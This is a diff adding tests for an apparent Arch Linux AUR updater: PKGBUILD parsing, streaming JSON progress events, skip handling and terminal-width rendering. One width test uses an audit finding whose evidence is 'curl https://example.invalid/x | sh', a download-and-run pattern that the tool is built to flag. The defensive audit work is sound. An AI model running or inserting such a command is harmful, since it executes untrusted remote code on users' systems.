+ # its functions at runtime -- `eval "package_x() { ... }"` cannot be
+ # attributed statically, and the audit falls back to scanning the whole
+ # file for those
+ has_package = any(name == "package" or name.startswith("package_") for name in pb.funcs)
+ if not has_package and not functions_generated(pb):
+ problems.append(f"{directory.name}: no package function parsed ({sorted(pb.funcs)})")
+ assert checked >= 50, f"only checked {checked} packages"
+ assert not problems, "\n".join(problems[:10])
+
+
+def test_the_previously_misparsed_packages_are_now_correct():
+ """Named regressions from the audit, when the clones are present."""
+ expectations = {
+ "noctalia-git": lambda pb: {"build", "package", "pkgver"} <= set(pb.funcs),
+ "aescrypt": lambda pb: any(n.startswith("package_") for n in pb.funcs),
+ "python-beartype": lambda pb: "check" in pb.funcs and "package" in pb.funcs,
+ "lib32-gstreamer": lambda pb: "check" in pb.funcs and bool(pb.funcs["check"]),
+ "shelly-bin": lambda pb: any(n.startswith("package_") for n in pb.funcs),
+ "mesonlsp": lambda pb: len(pb.get("source")) >= 6,
+ "proton-ge-custom-bin": lambda pb: all(" " in dep for dep in pb.get("optdepends")),
+ }
+ skipped = []
+ for package, predicate in expectations.items():
+ pb, _ = _parsed(package)
+ if pb is None:
+ skipped.append(package)
+ continue
+ assert predicate(pb), f"{package} still parses incorrectly: {sorted(pb.funcs)}"
+
+
+def test_source_counts_agree_with_srcinfo_for_most_real_packages():
+ """.SRCINFO is authoritative and already expanded, so where the PKGBUILD
+ needs no variable expansion the two must agree.
+
+ Some will legitimately differ: a PKGBUILD that builds `source` from
+ variables or appends to it inside a loop cannot be evaluated statically, and
+ that is a stated limitation rather than a bug.
+ """
+ if not CLONE.is_dir():
+ return
+ agree = differ = 0
+ for directory in sorted(d for d in CLONE.iterdir() if d.is_dir()):
+ raw = directory / ".SRCINFO"
+ if not raw.is_file():
+ continue
+ text = raw.read_text(errors="replace")
+ # Packages with architecture-suffixed sources are excluded: `si.source`
+ # is the effective host-arch list (base plus this arch's entries) while
+ # the PKGBUILD's `source` is only the base, so the two are not
+ # comparable. The merge itself is covered separately.
+ if "_x86_64" in text or "_aarch64" in text:
+ continue
+ pb, si = _parsed(directory.name)
+ if pb is None or si is None:
+ continue
+ if not pb.get("source") or not si.source:
+ continue
+ if len(pb.get("source")) == len(si.source):
+ agree += 1
+ else:
+ differ += 1
+ assert agree >= 50, f"only {agree} packages agreed (differ={differ})"
+ assert agree > differ * 5, f"too many disagreements: {agree} vs {differ}"
+
+
+def test_a_real_package_with_dollar_paren_sums_keeps_them_whole():
+ """tor-browser-bin uses `$(_dist_checksum ${_tag})` in its sums."""
+ pb, _ = _parsed("tor-browser-bin")
+ if pb is None:
+ return
+ entries = pb.get("sha256sums") or pb.get("sha512sums") or pb.get("b2sums")
+ joined = " ".join(entries)
+ if "$(_dist_checksum" in joined:
+ assert not any(e == "$(_dist_checksum" for e in entries), entries
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
+
+
+def test_arch_suffixed_keys_merge_for_the_host_architecture():
+ """`.SRCINFO` carries `source_x86_64` and `depends_aarch64` beside the base.
+
+ Unmatched, they are dropped: a package whose sources are arch-suffixed then
+ looks like it has no sources and no checksums at all, which is a silent
+ false negative on the architecture being built for. Only this machine's
+ architecture is merged -- another one's dependency is not an edge here.
+ """
+ si = parse_srcinfo(
+ "pkgbase = d\n\tpkgver = 1.0\n"
+ "\tsource = https://e/base.tar.gz\n"
+ "\tsource_x86_64 = https://e/x86.tar.gz\n"
+ "\tsource_aarch64 = https://e/arm.tar.gz\n"
+ "\tsha256sums_x86_64 = deadbeef\n"
+ "\tdepends = glibc\n\tdepends_aarch64 = musl\n"
+ )
+
+ assert si.source == ["https://e/base.tar.gz", "https://e/x86.tar.gz"]
+ assert si.sha256sums == ["deadbeef"]
+ assert si.depends == ["glibc"], "another architecture's dep became an edge"
diff --git a/tests/test_stream.py b/tests/test_stream.py
@@ -0,0 +1,461 @@
+"""The streaming apply.
+
+The important properties are protocol ones: stdout carries nothing but JSON, the
+events arrive in a usable order, and the exclude lists turn into the right argv.
+Everything else is detail.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import io
+import json
+import os
+import stat
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import repo, stream # noqa: E402
+from updater.buildgraph import build_graph # noqa: E402
+from updater.live import BuildObserver # noqa: E402
+from updater.srcinfo import SrcInfo # noqa: E402
+
+
+def fake_tool(bindir: Path, name: str, body: str) -> Path:
+ path = bindir / name
+ path.write_text(f"#!/bin/bash\n{body}\n")
+ path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
+ return path
+
+
+# --------------------------------------------------------------------------
+# command construction
+# --------------------------------------------------------------------------
+
+
+def test_repo_command_is_syu_and_only_ignores_when_asked():
+ plain = stream.repo_command([])
+ assert plain == ["sudo", "pacman", "-Syu", "--noconfirm"], plain
+ assert not any(a.startswith("--ignore") for a in plain)
+
+ held = stream.repo_command(["mesa", "linux"])
+ assert "--ignore=linux,mesa" in held, held # sorted, so the command is stable
+ assert held[:4] == ["sudo", "pacman", "-Syu", "--noconfirm"]
+
+
+def test_aur_command_names_targets_instead_of_using_sua():
+ """`-Sua` updates everything and offers no way to leave one package out."""
+ argv = stream.aur_command(["b-git", "a-bin"])
+ assert "-Sua" not in argv
+ assert argv[:5] == ["paru", "-S", "--needed", "--noconfirm", "--nobatchinstall"]
+ assert argv[5:] == ["a-bin", "b-git"] # sorted
+ assert stream.aur_command([])[5:] == []
+
+
+def test_aur_installs_each_package_rather_than_batching_them():
+ """paru's default batches every package into one pacman transaction.
+
+ That makes one bad package poison the whole update: a single unresolved
+ conflict meant none of twenty-seven packages installed. Installing each
+ package as it is built costs one package per failure instead of all of them.
+ """
+ assert "--nobatchinstall" in stream.aur_command(["x"])
+ assert "--batchinstall" not in stream.aur_command(["x"])
+
+
+def test_aur_does_not_ask_paru_to_stop_at_the_first_failure():
+ """--failfast would defeat the point of installing one at a time."""
+ assert "--failfast" not in stream.aur_command(["x"])
+
+
+def test_the_interactive_fallback_keeps_the_prompts():
+ """Some questions have no correct automatic answer.
+
+ "Replace the installed scenefx0.5 with scenefx?" is a decision, not a
+ default, so the only place it can be put is a terminal where paru can ask.
+ """
+ batch = stream.aur_command(["mangowm-git"])
+ interactive = stream.aur_command_interactive(["mangowm-git"])
+ assert "--noconfirm" in batch
+ assert "--noconfirm" not in interactive
+ # same targets, same per-package behaviour, only the prompts differ
+ assert [a for a in batch if a != "--noconfirm"] == interactive
+
+
+def test_flatpak_command_is_noninteractive():
+ argv = stream.flatpak_command()
+ assert argv[:2] == ["flatpak", "update"]
+ assert "-y" in argv and "--noninteractive" in argv
+
+
+def test_installed_progress_reads_the_local_database():
+ """The repo phase has no build graph, so progress has to be measured."""
+ with repo.connect() as handle:
+ plan = repo.plan(handle)
+
+ # an empty plan is legitimate on a fresh machine, so there is nothing to
+ # assert about its contents -- only about how they are measured
+ if plan.updates:
+ before = stream.installed_progress(plan.updates)
+ assert 0 <= before <= len(plan.updates)
+ else:
+ assert stream.installed_progress([]) == 0
+
+
+# --------------------------------------------------------------------------
+# the emitter
+# --------------------------------------------------------------------------
+
+
+def test_emitter_writes_one_json_object_per_line():
+ buf = io.StringIO()
+ emit = stream.Emitter(buf)
+ emit("start", phases=["repo"], total=3)
+ emit("build", packages=[], done=1, total=3)
+
+ lines = [l for l in buf.getvalue().splitlines() if l]
+ assert len(lines) == 2
+ for line in lines:
+ assert "\n" not in line
+ json.loads(line) # must parse
+ assert json.loads(lines[0]) == {"event": "start", "phases": ["repo"], "total": 3}
+
+
+def test_emitter_keeps_human_output_off_stdout():
+ """A stray print on stdout is a parse failure in the front end."""
+ import contextlib
+
+ buf = io.StringIO()
+ emit = stream.Emitter(buf)
+ emit("start", total=0)
+ # capture the real stderr so the test does not print into the suite output
+ err = io.StringIO()
+ with contextlib.redirect_stderr(err):
+ emit.human("this is for a person")
+ assert "this is for a person" not in buf.getvalue()
+ assert "this is for a person" in err.getvalue()
+ json.loads(buf.getvalue().strip())
+
+
+def test_emitter_puts_nothing_else_on_the_wire():
+ buf = io.StringIO()
+ emit = stream.Emitter(buf)
+ for name in ("start", "phase_start", "build", "finished", "phase_end", "done"):
+ emit(name, x=1)
+ for line in buf.getvalue().splitlines():
+ payload = json.loads(line)
+ assert set(payload) == {"event", "x"}, payload
+
+
+# --------------------------------------------------------------------------
+# a real run
+# --------------------------------------------------------------------------
+
+
+def test_streaming_runner_against_a_real_child():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ bindir = root / "bin"
+ bindir.mkdir()
+ # faithful to production: we spawn a launcher, it spawns a builder whose
+ # cwd is the package's clone dir
+ tool = fake_tool(bindir, "paru", f'( cd "{clone}/pkgA" && exec -a makepkg sleep 1.0 )')
+
+ graph = build_graph({"pkgA": SrcInfo(pkgbase="pkgA", pkgver="1", pkgrel="1")}, {"pkgA"})
+ observer = BuildObserver(graph, clone, total=1)
+ buf = io.StringIO()
+ runner = stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=20)
+
+ code = runner.run([str(tool)], "aur", root / "logs" / "paru.log")
+
+ assert code == 0
+ events = [json.loads(l) for l in buf.getvalue().splitlines() if l]
+ names = [e["event"] for e in events]
+ assert names[0] == "start" or names[0] == "phase_start"
+ assert names[0] == "phase_start"
+ assert names[-1] == "phase_end"
+ assert "build" in names
+
+ start = events[0]
+ assert start["phase"] == "aur" and start["total"] == 1
+ assert "paru" in start["command"]
+
+ finished = [e for e in events if e["event"] == "finished"]
+ assert [e["name"] for e in finished] == ["pkgA"], finished
+ assert finished[0]["elapsed"] > 0
+ assert finished[0]["state"] == "done"
+
+ end = events[-1]
+ assert end["phase"] == "aur" and end["returncode"] == 0
+ assert end["elapsed"] > 0
+
+
+def test_streaming_runner_reports_a_failing_child():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ tool = fake_tool(root, "boom", "exit 3")
+ observer = BuildObserver(build_graph({}, set()), clone, total=0)
+ buf = io.StringIO()
+ runner = stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=20)
+
+ code = runner.run([str(tool)], "repo", root / "b.log")
+ assert code == 3
+ end = [json.loads(l) for l in buf.getvalue().splitlines()][-1]
+ assert end["event"] == "phase_end" and end["returncode"] == 3
+
+
+def test_streaming_runner_keeps_the_child_output_in_a_log():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ tool = fake_tool(root, "noisy", "echo 'compiler wall of text'; sleep 0.1")
+ observer = BuildObserver(build_graph({}, set()), clone, total=0)
+ buf = io.StringIO()
+ log = root / "phase.log"
+ stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=20).run(
+ [str(tool)], "repo", log
+ )
+
+ assert "compiler wall of text" in log.read_text()
+
+ # The child's output now travels too, but only as a bounded tail: the
+ # dashboard saying nothing about what a build is doing is the reason it
+ # exists. Everything must still be one valid JSON object per line, and
+ # the tail must stay small however loud the command is.
+ events = [json.loads(line) for line in buf.getvalue().splitlines()]
+ tails = [e.get("log_lines", []) for e in events if e["event"] == "build"]
+ assert any("compiler wall of text" in line for tail in tails for line in tail), (
+ "the output tail never reached the interface"
+ )
+ for tail in tails:
+ assert len(tail) <= stream.StreamingRunner.TAIL_LINES, tail
+
+
+def test_a_finished_package_is_emitted_exactly_once():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ tool = fake_tool(root, "quick", f'( cd "{clone}/pkgA" && exec -a makepkg sleep 0.4 )')
+ graph = build_graph({"pkgA": SrcInfo(pkgbase="pkgA", pkgver="1", pkgrel="1")}, {"pkgA"})
+ observer = BuildObserver(graph, clone, total=1)
+ buf = io.StringIO()
+ stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=30).run(
+ [str(tool)], "aur", root / "p.log"
+ )
+
+ events = [json.loads(l) for l in buf.getvalue().splitlines()]
+ finished = [e for e in events if e["event"] == "finished"]
+ assert len(finished) == 1, f"emitted {len(finished)} times: {finished}"
+
+
+def test_every_emitted_line_parses_as_json_end_to_end():
+ """The whole contract in one assertion: the reader would never choke."""
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ tool = fake_tool(
+ root, "mixed", f'( cd "{clone}/pkgA" && exec -a makepkg sleep 0.3 )\necho stray text\n'
+ )
+ graph = build_graph({"pkgA": SrcInfo(pkgbase="pkgA", pkgver="1", pkgrel="1")}, {"pkgA"})
+ observer = BuildObserver(graph, clone, total=1)
+ buf = io.StringIO()
+ stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=30).run(
+ [str(tool)], "aur", root / "p.log"
+ )
+ for i, line in enumerate(buf.getvalue().splitlines()):
+ try:
+ json.loads(line)
+ except ValueError as exc:
+ raise AssertionError(f"line {i} is not JSON: {line!r} ({exc})") from exc
+
+
+# --------------------------------------------------------------------------
+# a dead reader must not kill the build
+# --------------------------------------------------------------------------
+
+
+def test_a_broken_pipe_does_not_kill_the_running_child():
+ """The dangerous case.
+
+ If the front end exits, this process's stdout breaks. Letting that exception
+ escape unwinds the phase loop into the `finally` that terminates pacman,
+ killing an upgrade halfway through and leaving the system half-upgraded.
+ The child must run to completion regardless.
+ """
+ import stat as statmod
+
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ marker = root / "finished"
+ tool = root / "slow"
+ tool.write_text(f"#!/bin/bash\nsleep 0.6\ntouch {marker}\n")
+ tool.chmod(tool.stat().st_mode | statmod.S_IXUSR | statmod.S_IXUSR)
+
+ read_fd, write_fd = os.pipe()
+ writer = os.fdopen(write_fd, "w")
+ os.close(read_fd) # the reader is gone before the child even starts
+
+ observer = BuildObserver(build_graph({}, set()), clone, total=0)
+ runner = stream.StreamingRunner(observer, stream.Emitter(writer), poll_hz=30)
+ try:
+ code = runner.run([str(tool)], "repo", root / "p.log")
+ finally:
+ with contextlib.suppress(Exception):
+ writer.close()
+
+ assert code == 0, f"the runner reported {code}"
+ assert marker.is_file(), "the child was killed when the reader went away"
+
+
+def test_the_emitter_survives_a_dead_stream():
+ read_fd, write_fd = os.pipe()
+ writer = os.fdopen(write_fd, "w")
+ os.close(read_fd)
+ emit = stream.Emitter(writer)
+ emit("start", total=1) # this one hits the broken pipe
+ emit("build", done=1) # and this must be a harmless no-op
+ assert emit.alive is False
+ with contextlib.suppress(Exception):
+ writer.close()
+
+
+def test_the_emitter_survives_a_closed_stringio():
+ buf = io.StringIO()
+ emit = stream.Emitter(buf)
+ emit("start", total=0)
+ buf.close() # any later write raises ValueError
+ emit("build", done=0)
+ assert emit.alive is False, "a closed stream should be treated as a dead reader"
+
+
+def test_a_dead_reader_leaves_the_log_intact():
+ """The build output must still land on disk even with nobody watching."""
+ import stat as statmod
+
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ tool = root / "noisy"
+ tool.write_text("#!/bin/bash\necho 'still being logged'\nsleep 0.3\n")
+ tool.chmod(tool.stat().st_mode | statmod.S_IXUSR)
+
+ read_fd, write_fd = os.pipe()
+ writer = os.fdopen(write_fd, "w")
+ os.close(read_fd)
+ log = root / "phase.log"
+ observer = BuildObserver(build_graph({}, set()), clone, total=0)
+ try:
+ stream.StreamingRunner(observer, stream.Emitter(writer), poll_hz=30).run(
+ [str(tool)], "repo", log
+ )
+ finally:
+ with contextlib.suppress(Exception):
+ writer.close()
+ assert "still being logged" in log.read_text()
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+def test_a_skip_request_stops_the_child_and_says_so():
+ """One package per invocation is what makes skipping possible at all.
+
+ Inside a single transaction there is nothing to lift out without unpicking
+ what pacman has already been told, so the runner only ever abandons the
+ child it started and reports that it did.
+ """
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ tool = fake_tool(root, "slow", "sleep 30")
+ observer = BuildObserver(build_graph({}, set()), clone, total=0)
+ buf = io.StringIO()
+ runner = stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=20)
+
+ # ask before the loop's first poll, which is exactly what the signal
+ # handler does
+ stream.SKIP.ask()
+ code = runner.run([str(tool)], "aur", root / "slow.log")
+
+ assert runner.skipped is True, "the runner did not record the skip"
+ # The child was terminated, so its own code is negative. The caller
+ # reads the flag first and never the code, which is the point: a skip
+ # is not a failure however the child happened to die.
+ assert code != 0, code
+ assert stream.SKIP.take() is False, "the request was left standing"
+
+
+def test_a_skip_request_is_consumed_once():
+ stream.SKIP.take() # whatever a previous test left
+ assert stream.SKIP.take() is False
+ stream.SKIP.ask()
+ assert stream.SKIP.take() is True
+ assert stream.SKIP.take() is False
+
+
+def test_the_skip_signal_sets_the_request():
+ """The handler may only touch simple state, which is why the request is a
+ module-level object rather than something threaded through."""
+ stream.SKIP.take()
+ stream.request_skip()
+ assert stream.SKIP.take() is True
+
+
+def test_a_skip_covers_one_package_not_every_later_one():
+ """The runner is reused for every invocation in a phase.
+
+ A flag left set after one skip made every package that followed look
+ skipped too, so a single keypress reported seven packages as skipped at the
+ reader's request.
+ """
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ quick = fake_tool(root, "quick", "true")
+ observer = BuildObserver(build_graph({}, set()), clone, total=0)
+ buf = io.StringIO()
+ runner = stream.StreamingRunner(observer, stream.Emitter(buf), poll_hz=20)
+
+ stream.SKIP.ask()
+ stream.SKIP.take() # whatever a previous test left standing
+ stream.SKIP.ask()
+
+ slow = fake_tool(root, "slow", "sleep 30")
+ runner.run([str(slow)], "aur", root / "one.log")
+ assert runner.skipped is True, "the first skip was not recorded"
+
+ # the same runner, the next package: nothing was asked for this time
+ code = runner.run([str(quick)], "aur", root / "two.log")
+ assert runner.skipped is False, "the skip leaked into the next package"
+ assert code == 0, code
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_widths.py b/tests/test_widths.py
@@ -0,0 +1,308 @@
+"""The width invariant, across the layout and every renderer.
+
+Every line this tool prints has to fit the terminal. A line that is even one
+cell too wide does not merely look wrong: the terminal wraps it, which pushes
+every row below out of alignment and makes the whole screen unreadable.
+
+This used to be broken in a way that was invisible on a wide terminal.
+`Columns.for_width` inflated the width up to a 64-column floor, so on a
+40-column terminal every Row believed it had 64 cells, produced 62-cell lines,
+and the terminal wrapped all of them. The Go front end had the identical bug for
+the identical reason.
+
+The content is adversarial on purpose: a PKGBUILD can put arbitrary text into a
+description, a source URL or an evidence line, and cell widths for emoji, ZWJ
+sequences and combining marks do not match codepoint counts.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater.audit import Finding, Report, SemanticDiff, SetDiff, Severity # noqa: E402
+from updater.buildgraph import build_graph # noqa: E402
+from updater.icons import glyphs # noqa: E402
+from updater.layout import Grid, Overflow, clip # noqa: E402
+from updater.live import BuildState # noqa: E402
+from updater.render import audit as render_audit # noqa: E402
+from updater.render import build as render_build # noqa: E402
+from updater.render import review as render_review # noqa: E402
+from updater.render.base import MIN_WIDTH, Columns # noqa: E402
+from updater.srcinfo import SrcInfo # noqa: E402
+from updater.theme import Theme # noqa: E402
+
+THEME = Theme.default()
+GLYPHS = glyphs("unicode")
+
+#: widths worth exercising: absurdly narrow, the old floor, and comfortable
+WIDTHS = (20, 30, 40, 60, 63, 64, 65, 80, 100, 120, 200)
+
+UGLY = [
+ "日本語のパッケージ説明",
+ "🎉🚀 emoji in a description",
+ "combining: e\u0301\u0301\u0301\u0301",
+ "zero\u200bwidth\u200bspaces",
+ "RTL \u202eoverride\u202c text",
+ "👨👩👧👦 family zwj",
+ "🏳️🌈 flag",
+ "ff ligature",
+ "x" * 400,
+ "",
+ "tab\there",
+ "\x1b[31mraw escape\x1b[0m",
+]
+
+
+def check(lines, width: int, label: str) -> list[str]:
+ bad = []
+ for i, line in enumerate(lines):
+ cells = line.cell_len if hasattr(line, "cell_len") else len(str(line))
+ if cells > width:
+ bad.append(
+ f"{label} width={width} line {i}: {cells} cells, "
+ f"{cells - width} over: {str(line)[:60]!r}"
+ )
+ return bad
+
+
+# --------------------------------------------------------------------------
+# the primitives
+# --------------------------------------------------------------------------
+
+
+def test_for_width_never_reports_a_width_wider_than_the_terminal():
+ """The regression: this used to return MIN_WIDTH for anything narrower."""
+ for width in WIDTHS:
+ cols = Columns.for_width(width)
+ assert cols.width <= max(width, 20), f"for_width({width}) reported {cols.width}"
+
+
+def test_columns_never_place_content_past_the_edge():
+ for width in WIDTHS:
+ cols = Columns.for_width(width)
+ for name in ("ver", "note", "feed_ver", "feed_note"):
+ at = getattr(cols, name)
+ assert 0 <= at <= cols.width, f"width={width}: {name}={at}"
+
+
+def test_the_grid_floor_still_protects_a_narrow_layout():
+ """The floor exists so columns do not collapse; it must not vanish."""
+ narrow = Columns.for_width(20)
+ assert narrow.grid == MIN_WIDTH
+ # and the columns stay distinct from each other at a usable width
+ cols = Columns.for_width(100)
+ assert cols.ver < cols.note
+
+
+def test_rows_cannot_overflow_the_grid():
+ for width in WIDTHS:
+ grid = Grid(width=width)
+ for text in UGLY:
+ for shape in ("span", "span_right", "chain", "fill", "right_only"):
+ try:
+ row = grid.row()
+ if shape == "span":
+ row.span(text)
+ elif shape == "span_right":
+ row.span(text).right(text)
+ elif shape == "chain":
+ row.span(text).to(width // 2, minimum=0).span(text).right(text)
+ elif shape == "fill":
+ row.span(text).fill()
+ else:
+ row.right(text).right(text, col=width - 1)
+ line = row.done()
+ except Overflow as exc:
+ raise AssertionError(
+ f"width={width} {shape} {text[:20]!r} overflowed: {exc}"
+ ) from exc
+ assert line.cell_len <= width, (
+ f"width={width} {shape} {text[:20]!r}: {line.cell_len} cells"
+ )
+
+
+def test_clip_respects_its_budget():
+ for limit in (0, 1, 2, 3, 5, 20, 50, 200):
+ for text in UGLY:
+ out = clip(text, limit)
+ from rich.cells import cell_len
+
+ assert cell_len(out) <= max(0, limit), (
+ f"clip({text[:16]!r}, {limit}) -> {out!r} is {cell_len(out)} cells"
+ )
+
+
+def test_clip_leaves_short_text_alone():
+ assert clip("linux", 20) == "linux"
+ assert clip("", 10) == ""
+ assert clip("linux", 0) == ""
+
+
+# --------------------------------------------------------------------------
+# the renderers
+# --------------------------------------------------------------------------
+
+
+def test_the_review_screen_fits_every_width():
+ problems = []
+ for width in WIDTHS:
+ for text in UGLY:
+ review = render_review.Review(
+ meta=text,
+ repo=[render_review.RepoRow(tag="U", name=text, old=text, new=text, size=text)],
+ aur=[
+ render_review.AurRow(
+ tag="!!", name=text, old=text, new=text, note=text, details=[text]
+ )
+ ],
+ vcs=[render_review.VcsRow(name=text, old=text, new=text)],
+ checks=[render_review.CheckRow(ok=False, label=text, detail=text)],
+ steps=[render_review.Step(index="1", command=text, detail=text)],
+ )
+ for dry_run in (True, False):
+ problems += check(
+ render_review.build(
+ review, theme=THEME, glyphs=GLYPHS, width=width, dry_run=dry_run
+ ),
+ width,
+ f"review dry={dry_run}",
+ )
+ assert not problems, "\n".join(problems[:12])
+
+
+def test_the_audit_screen_fits_every_width():
+ problems = []
+ for width in WIDTHS:
+ for text in UGLY:
+ report = Report(
+ package=text,
+ findings=[
+ Finding(rule=text, severity=Severity.BLOCK, title=text, evidence=text),
+ Finding(
+ rule=text, severity=Severity.LOOK, title=text, evidence=text, where=text
+ ),
+ ],
+ diff=SemanticDiff(
+ pkgver=(text, text),
+ source=SetDiff(added=[text], removed=[text]),
+ sums=SetDiff(added=[text]),
+ funcs_added=[text],
+ funcs_removed=[text],
+ funcs_changed=[text],
+ lines_added=3,
+ lines_removed=2,
+ ),
+ )
+ for baseline in (True, False):
+ problems += check(
+ render_audit.build(
+ report,
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=width,
+ title=text,
+ old_text=text,
+ new_text=text,
+ baseline=baseline,
+ ),
+ width,
+ f"audit baseline={baseline}",
+ )
+ assert not problems, "\n".join(problems[:12])
+
+
+def test_the_build_dashboard_fits_every_width():
+ graph = build_graph(
+ {
+ name: SrcInfo(
+ pkgbase=name, pkgver="1", pkgrel="1", depends=(["a"] if name != "a" else [])
+ )
+ for name in ("a", "b", "c")
+ },
+ {"a", "b", "c"},
+ )
+ problems = []
+ for width in WIDTHS:
+ for text in UGLY:
+ state = BuildState(package=text, phase=text, elapsed=12.5, jobs=3)
+ feed = [
+ render_build.FeedEntry(
+ name=text, version=text, elapsed=3.0, state="done", shared=True, note=text
+ )
+ ]
+ for dashboard in (True, False):
+ try:
+ lines = render_build.build(
+ graph=graph,
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=width,
+ feed=feed,
+ states=[state],
+ completed={"a"},
+ running={"b"},
+ failed=set(),
+ totals=render_build.Totals(
+ total=3,
+ elapsed=9.0,
+ eta=1.0,
+ download_bytes=1024,
+ download_rate=512.0,
+ download_remaining=0,
+ download_eta=0.0,
+ ),
+ parallelism=text,
+ dashboard=dashboard,
+ )
+ except Exception as exc: # noqa: BLE001
+ problems.append(
+ f"build width={width} dashboard={dashboard} "
+ f"{text[:16]!r} raised {type(exc).__name__}: {exc}"
+ )
+ continue
+ problems += check(lines, width, f"build dashboard={dashboard}")
+ assert not problems, "\n".join(problems[:12])
+
+
+def test_a_narrow_terminal_does_not_wrap_the_audit_screen():
+ """The specific shape of the original bug, kept as a named regression test."""
+ report = Report(
+ package="enca-bin",
+ findings=[
+ Finding(
+ rule="pipe-to-shell",
+ severity=Severity.BLOCK,
+ title="pipes a download into a shell",
+ evidence="curl https://example.invalid/x | sh",
+ )
+ ],
+ diff=SemanticDiff(source=SetDiff(added=["https://example.invalid/x"])),
+ )
+ for width in (40, 50, 60):
+ lines = render_audit.build(
+ report, theme=THEME, glyphs=GLYPHS, width=width, title="enca-bin", baseline=False
+ )
+ worst = max(line.cell_len for line in lines)
+ assert worst <= width, f"width={width} produced a {worst}-cell line"
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tools/ansi_to_png.py b/tools/ansi_to_png.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python3
+"""Render ANSI text on stdin to an SVG.
+
+Exists because a TUI cannot be screenshot headlessly: Textual's own export drops
+colour (its internal console has no colour system), and the Go TUI is just bytes
+on stdout. Rich can parse ANSI back into styled text, and Rich's SVG export
+accepts a terminal palette -- so this is the one way to see what either front end
+actually looks like without a terminal.
+
+ go run . --print 118x30 | tools/ansi_to_png.py preview/tui.svg
+
+The palette is only bound here, for the image. Both front ends emit ANSI-16
+indices and let the real terminal decide.
+"""
+
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+
+from rich.console import Console
+from rich.terminal_theme import TerminalTheme
+from rich.text import Text
+
+# the user's kitty theme, so a capture resembles their actual terminal
+PALETTES = {
+ "kitty": dict(
+ background=(0, 0, 0), foreground=(0xF2, 0xF2, 0xF3),
+ normal=[(0x28, 0x24, 0x2D), (0xFD, 0x46, 0x63), (0x9F, 0x8B, 0xC1),
+ (0xAD, 0x81, 0xB1), (0xAD, 0x85, 0x9E), (0xBA, 0xAC, 0xD3),
+ (0xCD, 0xAF, 0xD0), (0xF2, 0xF2, 0xF3)],
+ bright=[(0x6B, 0x65, 0x74), (0xFD, 0x46, 0x63), (0x9F, 0x8B, 0xC1),
+ (0xAD, 0x81, 0xB1), (0xAD, 0x85, 0x9E), (0xBA, 0xAC, 0xD3),
+ (0xCD, 0xAF, 0xD0), (0xF2, 0xF2, 0xF3)]),
+ "sagen": dict(
+ background=(0, 0, 0), foreground=(0xDC, 0xEC, 0xE9),
+ normal=[(0x05, 0x0B, 0x0A), (0xCC, 0x56, 0x65), (0x5B, 0xC0, 0xAE),
+ (0xD4, 0xB0, 0x7B), (0x58, 0x8B, 0x9C), (0x9E, 0x82, 0xAA),
+ (0x7C, 0xF5, 0xDE), (0xC7, 0xDB, 0xD8)],
+ bright=[(0x1B, 0x26, 0x23), (0xE8, 0x6F, 0x7F), (0x69, 0xDE, 0xBB),
+ (0xE3, 0xC8, 0x8A), (0x66, 0xAC, 0xBC), (0xB4, 0x91, 0xC2),
+ (0x8C, 0xFC, 0xE6), (0xDC, 0xEC, 0xE9)]),
+}
+
+
